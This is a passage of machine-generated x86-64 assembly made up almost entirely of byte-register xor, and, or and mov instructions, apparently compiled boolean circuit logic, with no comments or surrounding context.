mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
mov ecx, r8d
and cl, bl
xor bl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
or cl, bl
and al, cl
xor cl, 1
mov ebx, ecx
xor bl, r8b
and bl, cl
and cl, r8b
mov r8d, edi
xor r8b, 1
xor r10b, 1
or cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, r10b
xor al, 1
and al, cl
or cl, r10b
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, esi
and al, r13b
xor sil, al
xor al, 1
or al, r13b
xor al, 1
or al, sil
mov r9d, eax
xor r9b, 1
mov esi, r15d
or sil, r14b
mov r10d, esi
xor r10b, 1
mov r11d, r14d
xor r11b, sil
and r11b, r14b
and r10b, r15b
and sil, r14b
or sil, r10b
xor r11b, 1
xor sil, 1
mov r10d, r11d
xor r10b, sil
or sil, r11b
xor sil, 1
or sil, r10b
mov ebx, r9d
and bl, al
xor bl, 1
mov r10d, eax
xor r10b, bl
or bl, al
xor bl, 1
or bl, r10b
mov r10d, ebx
and bl, sil
xor sil, 1
xor r10b, 1
and r10b, sil
movzx esi, byte [rsp + 0x34]
mov ebp, esi
and bpl, byte [rsp + 0x38]
or bl, r10b
xor sil, bpl
and r14b, r9b
or r9b, r15b
and al, r15b
mov r11d, edx
xor r11b, 1
or al, r14b
xor al, 1
mov r10d, r9d
xor r10b, al
or al, r9b
xor al, 1
or al, r10b
mov r9d, eax
xor r9b, 1
mov r10d, eax
and r10b, bl
xor bl, 1
and r9b, bl
or r9b, r10b
mov r10d, ebx
and r10b, al
xor bl, al
or bl, r10b
xor bl, 1
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ecx
xor al, 1
mov r10d, eax
xor r10b, bl
xor r10b, 1
mov r9d, r10d
xor r9b, al
and r9b, r10b
and cl, al
mov r10d, eax
and r10b, cl
xor cl, al
mov eax, ebx
xor al, 1
and al, bl
or cl, r10b
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, r9d
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
and r9b, bl
or r9b, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
xor r9b, 1
mov eax, r9d
xor al, bl
or r9b, bl
xor r9b, 1
or r9b, al
mov ebx, r11d
xor bl, r8b
mov ecx, ebx
and cl, r11b
mov eax, ebx
and al, r8b
xor cl, 1
xor al, 1
mov r10d, ecx
xor r10b, al
or al, cl
xor al, 1
or al, r10b
xor al, 1
mov ecx, eax
and cl, dil
xor al, dil
or al, cl
and r11b, r8b
or bl, r11b
and dl, dil
or dl, r11b
xor dl, 1
or dl, dil
mov ecx, ebx
xor cl, dl
xor cl, 1
or dl, bl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
mov r8d, eax
mov r10d, eax
or dl, al
xor al, 1
xor cl, 1
and r8b, cl
xor r10b, cl
or r10b, r8b
mov r8d, r10d
xor r8b, 1
or cl, al
xor cl, 1
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov ebx, r8d
and bl, r10b
and dl, al
mov ecx, ebx
xor cl, 1
xor bl, r8b
or cl, r10b
xor cl, 1
or cl, bl
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, edx
xor cl, al
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, r8d
and cl, dl
mov ebx, edx
xor bl, r8b
and bl, dl
mov r10d, ecx
xor r10b, 1
mov eax, ecx
and al, r10b
mov r11d, eax
and r11b, cl
xor al, cl
or al, r11b
mov ecx, eax
xor cl, 1
and cl, bl
xor bl, 1
and al, bl
or al, cl
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor bl, 1
mov edi, r9d
xor dil, bl
mov r10d, r9d
xor r10b, 1
mov eax, r10d
and al, r9b
mov r11d, r10d
and r11b, al
xor al, r10b
or al, r11b
mov ecx, eax
xor cl, 1
or r10b, r9b
and cl, al
mov r11d, ecx
and r11b, al
xor cl, al
or cl, r11b
mov r11d, ecx
and cl, r10b
xor r10b, 1
xor r11b, 1
and r11b, r10b
or cl, r11b
mov r11d, eax
xor r11b, r10b
or r10b, al
xor r10b, 1
or r10b, r11b
xor r10b, 1
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov eax, edx
and al, r10b
xor r10b, 1
and r10b, r8b
or r10b, al
mov eax, r10d
xor al, 1
and r8b, al
and r10b, dl
or r10b, r8b
xor r10b, 1
or r10b, al
mov r11d, r10d
xor r11b, 1
or bl, r9b
xor bl, 1
xor dil, 1
and dil, r9b
mov ecx, ebx
and cl, dil
xor dil, bl
or dil, cl
mov ecx, edi
xor cl, r9b
or dil, r9b
xor dil, 1
or dil, cl
mov ecx, edi
xor cl, 1
mov edx, ecx
or dl, dil
mov r8d, ecx
xor r8b, dl
mov eax, r10d
or al, r11b
mov r9d, r11d
xor r9b, al
or al, r11b
xor al, 1
or al, r9b
or dl, cl
xor dl, 1
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
mov ebx, eax
xor bl, dl
and dl, bl
and bl, al
mov eax, edx
xor al, 1
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
and dil, r11b
or r11b, cl
xor r11b, 1
and cl, r10b
or cl, dil
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov r11d, ebx
xor r11b, cl
xor bl, 1
or bl, cl
xor bl, 1
xor r11b, 1
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
xor r12b, 1
movzx r8d, byte [rsp + 0x5c]
mov eax, r8d
or al, r12b
xor al, 1
movzx r13d, byte [rsp + 0x54]
or r13b, al
xor bpl, 1
movzx ecx, byte [rsp + 0x38]
or bpl, cl
xor bpl, 1
or bpl, sil
mov edx, ebp
xor dl, 1
movzx r10d, byte [rsp + 0x34]
or r10b, cl
mov r14d, ebp
and r14b, dl
xor r14b, 1
mov ebx, r14d
xor bl, dl
or r14b, dl
xor r14b, 1
or r14b, bl
mov ebx, r14d
mov r9d, r14d
xor r9b, dl
or r14b, dl
mov ecx, r10d
xor dl, r10b
xor cl, 1
xor bl, cl
or cl, bpl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
mov esi, r13d
xor sil, 1
mov ecx, r8d
xor r12b, r8b
or r12b, al
mov eax, r12d
xor al, r8b
or r12b, r8b
xor r12b, 1
or r12b, al
mov edi, r12d
xor dil, 1
mov byte [rsp + 0x34], dl
mov r8d, edx
xor r8b, 1
mov eax, r8d
or al, dl
mov r10d, eax
xor r10b, r8b
and r10b, al
xor r14b, 1
or r14b, r9b
mov r15d, r14d
xor r15b, 1
mov edx, esi
or dl, r13b
mov eax, edx
xor al, 1
mov r9d, r12d
or r9b, dil
mov ecx, edi
xor cl, r12b
and cl, dil
mov ebp, r13d
and bpl, dl
or dl, sil
and al, sil
or al, bpl
mov ebp, edx
xor bpl, al
xor al, 1
xor bpl, 1
or al, dl
xor al, 1
or al, bpl
xor cl, 1
mov edx, r9d
or dl, cl
xor dl, 1
xor cl, r9b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov r9d, eax
xor r9b, 1
mov edx, r9d
and dl, al
mov ebp, ecx
xor bpl, 1
mov ebx, ebp
and bl, cl
xor r9b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r9b
xor bpl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, bpl
xor bl, dl
mov eax, esi
and al, r13b
mov ecx, r12d
and cl, dil
mov edx, eax
and dl, sil
xor al, sil
or al, dl
mov edx, ecx
xor dl, 1
xor cl, r12b
or dl, dil
xor dl, 1
or dl, cl
xor dl, al
mov eax, edx
xor al, 1
xor dil, r13b
or r12b, sil
xor r12b, 1
or r12b, dil
xor dl, r12b
xor dl, 1
or r12b, al
xor r12b, 1
or r12b, dl
xor r12b, 1
mov eax, ebx
xor al, r12b
or r12b, bl
xor r12b, 1
or r12b, al
xor r12b, 1
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov eax, r10d
xor al, r14b
xor al, 1
mov ecx, r10d
or cl, r15b
xor cl, 1
or cl, al
or r14b, r10b
xor r15b, r10b
and r15b, r10b
xor r15b, 1
mov eax, r14d
xor al, r15b
or r15b, r14b
xor r15b, 1
or r15b, al
mov eax, r15d
xor al, 1
mov edx, r15d
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
and bl, cl
xor al, cl
xor cl, 1
xor dl, 1
and dl, cl
or dl, bl
or r15b, cl
xor r15b, 1
or r15b, al
xor dl, 1
mov eax, edx
xor al, r15b
or dl, r15b
xor dl, 1
or dl, al
mov eax, r12d
xor al, 1
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
xor cl, al
and r12b, al
mov ebx, eax
and bl, r12b
xor r12b, al
or r12b, bl
mov ebx, edx
xor bl, r12b
or r12b, dl
xor r12b, 1
or r12b, bl
xor al, cl
and al, cl
xor al, 1
mov r9d, r12d
xor r9b, al
and al, r12b
or al, r9b
xor r9b, 1
mov edx, r9d
xor dl, al
or r9b, al
xor r9b, 1
or r9b, dl
xor sil, r8b
mov ecx, r13d
mov ebx, r13d
movzx eax, byte [rsp + 0x34]
or bl, al
xor bl, 1
or bl, sil
or r8b, r13b
xor r8b, 1
xor al, r13b
and al, r13b
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, ebx
xor dl, al
xor al, 1
or al, bl
xor al, 1
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov esi, edx
xor sil, 1
mov ebx, esi
or bl, dl
mov r8d, ebx
xor r8b, 1
mov eax, ebx
and al, r8b
mov r10d, ebx
xor r10b, al
xor al, 1
or al, r8b
xor al, 1
or al, r10b
mov ecx, eax
xor cl, 1
and cl, sil
and al, dl
or al, cl
mov ecx, ebx
and cl, sil
xor bl, sil
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov r10d, ecx
xor r10b, 1
xor cl, bl
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, r10d
xor al, 1
mov r8d, r9d
xor r8b, 1
mov edi, r8d
or dil, r9b
mov ecx, edi
xor cl, 1
mov esi, r10d
or sil, al
mov edx, esi
xor dl, 1
mov ebp, r9d
and bpl, r8b
mov r15d, ebp
xor r15b, 1
mov r14d, r9d
xor r14b, r15b
mov ebx, r9d
or bl, r15b
xor bl, 1
or bl, r14b
xor bl, dil
xor dil, r8b
or cl, r9b
xor cl, 1
or cl, dil
xor cl, 1
mov edi, ebx
and dil, cl
xor cl, bl
or cl, dil
mov ebx, edx
xor bl, r10b
and bl, dl
and sil, al
and dl, r10b
or dl, sil
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
xor bl, 1
and bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
xor bpl, r9b
or r15b, r8b
xor r15b, 1
or r15b, bpl
mov ecx, r15d
xor cl, 1
and cl, al
and r15b, r10b
or r15b, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
xor al, 1
mov ecx, r15d
and cl, al
xor al, r15b
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov ecx, edx
xor dl, 1
and dl, bl
xor bl, 1
and cl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov ebp, ebx
xor bpl, 1
mov edx, ebp
or dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, r8d
and cl, dl
mov r9d, ecx
and r9b, r8b
xor cl, r8b
or cl, r9b
mov r8d, ecx
and r8b, bl
xor cl, 1
and cl, bpl
or cl, r8b
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov esi, edx
xor sil, 1
and sil, dl
xor sil, 1
mov r8d, edx
xor r8b, sil
or sil, dl
xor sil, 1
or sil, r8b
mov r8d, esi
xor r8b, 1
mov edx, ebp
and dl, bl
xor bpl, bl
or bpl, dl
mov edx, ebp
xor dl, 1
mov r9d, r8d
or r9b, sil
mov ebx, r9d
xor bl, 1
mov r10d, ebp
xor r10b, dl
and r10b, bpl
mov ecx, esi
and cl, r8b
mov edi, ecx
and dil, sil
xor cl, sil
or cl, dil
mov edi, ecx
xor dil, 1
and dil, bl
and cl, r9b
or cl, dil
xor r9b, r8b
or bl, sil
xor bl, 1
or bl, r9b
mov r8d, ecx
xor r8b, bl
xor cl, 1
xor r8b, 1
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, r10d
xor r8b, 1
mov ebx, r8d
or bl, r10b
xor r10b, bl
xor r10b, 1
or bl, r8b
xor bl, 1
or bl, r10b
xor bl, cl
mov r8d, ebx
xor r8b, 1
and dl, bpl
mov ecx, edx
and cl, bpl
xor dl, bpl
or dl, cl
xor dl, sil
xor dl, 1
mov ecx, esi
xor cl, bpl
or bpl, sil
xor bpl, 1
or bpl, cl
mov ecx, edx
xor cl, bpl
or bpl, dl
xor bpl, 1
or bpl, cl
mov ecx, ebp
xor cl, 1
mov edx, r8d
and dl, bl
mov eax, ebp
and al, cl
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
xor bpl, al
xor al, 1
or al, cl
xor al, 1
or al, bpl
xor al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
xor dl, al
and dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
and al, dl
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
xor cl, dl
xor cl, 1
or cl, dl
mov ebp, ecx
xor bpl, 1
mov r14d, r11d
xor r14b, 1
mov edx, r14d
and dl, r11b
mov ebx, r14d
and bl, dl
xor dl, r14b
or dl, bl
mov r8d, edx
xor r8b, 1
or r14b, r11b
mov r10d, r14d
xor r10b, 1
mov eax, edx
and al, r8b
mov ebx, eax
xor bl, 1
xor al, dl
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, r10b
and bl, r14b
or bl, al
mov eax, edx
xor al, r10b
or r10b, dl
xor r10b, 1
or r10b, al
xor r10b, 1
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, ecx
and al, bpl
mov r12d, eax
xor r12b, 1
mov ebx, ebp
and bl, r12b
and al, cl
or al, bl
mov ebx, r12d
and bl, cl
xor cl, r12b
or cl, bl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov esi, eax
xor sil, 1
and sil, al
xor sil, 1
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
mov r8d, r10d
xor r8b, 1
mov eax, r8d
and al, r10b
mov ecx, r8d
xor cl, al
xor al, 1
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, r8b
xor cl, 1
or al, r10b
xor al, 1
or al, cl
mov ecx, r11d
xor cl, r14b
or r14b, r11b
xor r14b, 1
or r14b, cl
mov r15d, r14d
xor r15b, 1
mov edx, eax
xor dl, r14b
xor dl, 1
mov ecx, edx
xor cl, al
and r15b, al
xor al, 1
mov r11d, esi
xor r11b, 1
mov ebx, r11d
and bl, sil
mov edi, ebx
xor dil, sil
and dil, bl
mov r9d, r11d
or r9b, sil
mov ebx, ebp
xor bl, r12b
or r12b, bpl
xor r12b, 1
or r12b, bl
mov ebp, r12d
xor bpl, 1
and cl, dl
and r14b, al
or r14b, r15b
mov eax, ecx
xor al, 1
mov r13d, r14d
xor r13b, 1
and cl, al
mov ebx, r14d
and bl, r13b
xor cl, 1
mov r15d, ecx
xor r15b, al
or cl, al
xor cl, 1
or cl, r15b
mov r15d, ebx
and r15b, r14b
xor bl, r14b
or bl, r15b
xor bl, cl
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
xor r13b, 1
mov eax, ebx
and al, r13b
xor r13b, bl
or r13b, al
mov eax, edi
xor al, 1
mov ecx, edi
or cl, al
mov ebx, ecx
xor bl, 1
mov r15d, r12d
xor r15b, bpl
and r15b, r12b
or r12b, bpl
mov r14d, ebx
and r14b, dil
or bl, al
mov edx, eax
and dl, cl
or dl, r14b
xor cl, dil
xor bl, 1
or bl, cl
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, r15d
xor al, 1
mov ecx, r15d
and cl, al
mov ebx, ecx
and bl, r15b
xor cl, r15b
or cl, bl
xor cl, r12b
xor cl, 1
mov ebx, eax
and bl, r12b
xor al, r12b
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov r14d, eax
xor r14b, bl
or al, bl
xor al, 1
or al, r14b
and cl, al
xor al, 1
and al, dl
or al, cl
mov ecx, edi
or cl, bpl
xor bpl, dil
xor bpl, 1
mov edx, ecx
xor dl, bpl
or bpl, cl
xor bpl, 1
or bpl, dl
mov ecx, ebp
xor cl, 1
mov edi, eax
xor dil, 1
mov r14d, eax
and r14b, dil
mov edx, ecx
and dl, bpl
mov ebx, r14d
xor bl, 1
xor r14b, al
or bl, dil
xor bl, 1
or bl, r14b
mov r14d, edx
and r14b, cl
xor dl, cl
or dl, r14b
xor dl, bl
xor dil, bpl
or cl, al
xor cl, 1
or cl, dil
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov ebx, r13d
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
xor cl, 1
and r13b, cl
or r13b, al
xor cl, r13b
and cl, r13b
or bl, al
mov eax, ecx
xor al, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, eax
and al, bl
xor bl, 1
xor dl, 1
and dl, bl
or al, dl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, r8d
or cl, r10b
mov edi, ecx
xor dil, 1
mov edx, r11d
xor dl, sil
and dl, r11b
xor r9b, dl
mov eax, r8d
xor al, cl
and al, r8b
and dil, r10b
and cl, r8b
or cl, dil
mov r10d, eax
xor r10b, 1
xor al, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, al
and dl, r9b
xor r9b, 1
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
xor cl, 1
mov eax, r9d
xor al, cl
xor al, 1
and al, r9b
or cl, r9b
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor sil, r8b
and sil, r8b
xor r11b, r8b
mov ecx, esi
and cl, r11b
xor r11b, sil
or r11b, cl
mov ecx, r11d
xor cl, 1
and r11b, cl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
and al, r11b
xor r11b, 1
xor dl, 1
and dl, r11b
or al, dl
mov edx, ecx
and dl, r11b
xor cl, r11b
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
or dl, al
xor dl, 1
xor al, dl
mov r8d, ecx
xor r8b, dl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
mov r9d, edx
xor r9b, 1
mov r8d, ebx
xor r8b, 1
mov edi, r8d
xor dil, bl
and dil, r8b
mov ecx, edx
or cl, r9b
mov r10d, ecx
xor r10b, 1
mov r11d, edi
xor r11b, 1
mov esi, r11d
and sil, dil
mov ebp, esi
xor bpl, 1
xor sil, dil
or bpl, r11b
xor bpl, 1
or bpl, sil
mov eax, r10d
and al, cl
mov r11d, eax
and r11b, r10b
xor al, r10b
or al, r11b
xor al, r9b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
xor cl, 1
mov edi, ebp
xor dil, cl
or cl, bpl
xor cl, 1
xor dil, 1
and dil, bpl
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov eax, r8d
xor al, dl
and al, r8b
xor dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, edi
xor cl, 1
and dil, cl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
mov edx, edi
and dil, al
xor al, 1
xor dl, 1
and dl, al
or dil, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
xor dil, 1
mov eax, edi
xor al, cl
or dil, cl
xor dil, 1
or dil, al
mov r11d, edi
xor r11b, 1
mov ebp, edi
and bpl, r11b
mov eax, ebp
and al, r11b
mov esi, ebp
xor sil, r11b
or sil, al
mov r10d, esi
xor r10b, 1
mov r9d, r10d
or r11b, dil
mov eax, r11d
xor al, 1
and al, r10b
mov byte [rsp + 0x34], al
and r10b, sil
xor r9b, r10b
xor r10b, 1
or r10b, sil
xor r10b, 1
or r10b, r9b
mov r9d, r10d
xor r9b, 1
mov eax, edi
and al, bpl
xor bpl, dil
or bpl, al
xor bpl, 1
mov eax, ebp
xor al, dil
or bpl, dil
xor bpl, 1
or bpl, al
mov ecx, ebp
xor cl, 1
mov r13d, r9d
or r13b, r10b
mov r14d, r13d
xor r14b, 1
mov r12d, ebp
xor r12b, cl
and r12b, bpl
mov r15d, ecx
or r15b, bpl
mov edx, r10d
xor dl, r13b
and dl, r10b
and r14b, r9b
and r13b, r10b
or r13b, r14b
mov r14d, edx
and r14b, r13b
xor r13b, dl
or r13b, r14b
mov edx, r12d
xor dl, 1
mov ebx, edx
mov eax, r15d
mov r14d, edx
mov r8d, edx
and r8b, r15b
xor dl, r15b
xor r15b, 1
and bl, r12b
and al, r15b
xor r14b, bl
xor bl, 1
or bl, r12b
xor bl, 1
or bl, r14b
xor al, 1
mov r14d, r15d
xor r14b, al
or al, r15b
xor al, 1
or al, r14b
mov r14d, ebx
xor r14b, 1
and r14b, al
xor al, 1
and al, bl
or al, r14b
or dl, r8b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, r13b
mov eax, r10d
and al, r9b
mov ebx, ebp
and bl, cl
mov r8d, eax
and r8b, r10b
xor al, r10b
or al, r8b
mov r8d, ebx
and r8b, bpl
xor bl, bpl
or bl, r8b
mov r8d, eax
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, al
or bl, r8b
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor cl, dl
and dl, cl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
or al, cl
mov ecx, edx
xor cl, al
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ebp, edx
xor bpl, 1
or dl, bpl
xor bpl, dl
and bpl, dl
and sil, r11b
or sil, byte [rsp + 0x34]
mov eax, edi
and al, r11b
xor r11b, dil
or r11b, al
mov eax, esi
xor al, r11b
xor sil, 1
xor al, 1
or sil, r11b
xor sil, 1
or sil, al
mov eax, esi
xor al, 1
or al, sil
mov edx, eax
xor dl, 1
mov ebx, edx
xor bl, sil
mov r8d, ebx
xor r8b, 1
or dl, sil
xor dl, 1
or dl, bl
xor bl, dl
xor bl, 1
or dl, r8b
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov r8d, esi
xor r8b, al
or al, sil
xor al, 1
or al, r8b
mov ebx, r9d
and bl, dl
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
xor bl, al
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov r8d, ebx
xor r8b, 1
mov eax, r8d
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ebx, ebp
xor bl, 1
mov r9d, ebx
xor r9b, r8b
mov edx, eax
xor dl, bpl
and dl, al
or al, bl
mov r10d, edx
xor r10b, al
xor dl, 1
xor r10b, 1
or dl, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, bpl
or dl, bpl
xor dl, 1
or dl, al
mov r11d, edx
xor r11b, 1
and bpl, bl
mov r10d, ebx
and r10b, bpl
xor bpl, bl
or bpl, r10b
xor bpl, 1
mov r10d, r8d
and r10b, bpl
xor bpl, r8b
or bpl, r10b
mov ecx, ebp
xor cl, 1
xor bl, r9b
and bl, r9b
and cl, bpl
mov r8d, ebp
and r8b, cl
xor cl, bpl
or cl, r8b
mov r8d, ecx
and cl, bl
xor bl, 1
xor r8b, 1
and r8b, bl
or cl, r8b
mov r8d, ebp
and r8b, bl
xor bl, bpl
or bl, r8b
xor bl, 1
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov r8d, edx
xor r8b, bl
xor r8b, 1
mov ecx, ebx
xor cl, r11b
or r11b, bl
xor r11b, 1
or r11b, r8b
xor r11b, 1
and cl, bl
or bl, dl
mov edx, ecx
xor dl, bl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, r11b
mov edx, ecx
xor dl, 1
and r11b, dl
mov eax, r11d
xor al, 1
xor r11b, cl
or al, dl
xor al, 1
or al, r11b
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
or cl, al
mov eax, ecx
xor al, 1
mov r8d, eax
and r8b, r9b
mov ebx, edx
and bl, cl
or bl, r8b
mov r8d, r9d
xor r8b, cl
or dl, al
xor dl, 1
or dl, r8b
xor dl, 1
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov ebx, edx
xor bl, 1
and dl, bl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov edi, edx
xor dil, 1
mov ebx, edx
and bl, dil
xor dil, dl
or dil, bl
mov r8d, edi
xor r8b, 1
xor al, r9b
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
mov ebp, ecx
xor bpl, 1
and bpl, cl
xor bpl, 1
mov eax, ecx
xor al, bpl
or bpl, cl
xor bpl, 1
or bpl, al
mov r9d, ebp
xor r9b, 1
mov ebx, ebp
and bl, r9b
mov eax, r9d
and al, bl
mov r12d, r9d
xor r12b, bl
or r12b, al
mov r10d, edi
or r10b, r8b
mov r11d, r10d
xor r11b, 1
mov esi, r8d
xor sil, dil
and sil, r8b
mov eax, r12d
xor al, 1
mov r14d, r12d
and r14b, al
mov r13d, r14d
xor r13b, 1
or r13b, al
mov r15d, eax
or r15b, r12b
mov edx, r15d
xor dl, 1
mov eax, esi
xor al, 1
and sil, r10b
or r10b, al
and al, r11b
or al, sil
xor al, 1
mov r11d, r10d
xor r11b, al
or al, r10b
xor al, 1
or al, r11b
mov ecx, edx
and cl, r15b
xor cl, 1
mov r10d, ecx
xor r10b, r15b
or cl, r15b
xor cl, 1
or cl, r10b
xor bl, 1
mov r10d, ebx
xor r10b, r9b
or bl, r9b
xor bl, 1
or bl, r10b
mov r9d, ecx
xor r9b, 1
and r9b, bl
xor bl, 1
and bl, cl
or bl, r9b
mov ecx, edx
xor cl, bpl
or dl, bpl
xor dl, 1
or dl, cl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
